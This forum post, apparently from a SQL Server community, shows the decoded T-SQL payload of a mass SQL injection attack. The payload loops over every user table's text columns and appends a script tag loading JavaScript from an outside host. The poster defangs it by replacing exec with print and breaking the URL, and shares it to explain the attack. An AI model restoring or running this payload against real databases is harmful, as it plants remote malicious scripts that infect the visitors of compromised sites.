This is what the code looks like (I've replaced 'exec' with 'print' so this is safe to run).
DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
print 'update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=htt*p://ww*w.nihaorr1.com/1.js></script>'''
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
Edit: added * and * to prevent the link from working.
Ryan Randall
Solutions are easy. Understanding the problem, now, that's the hard part.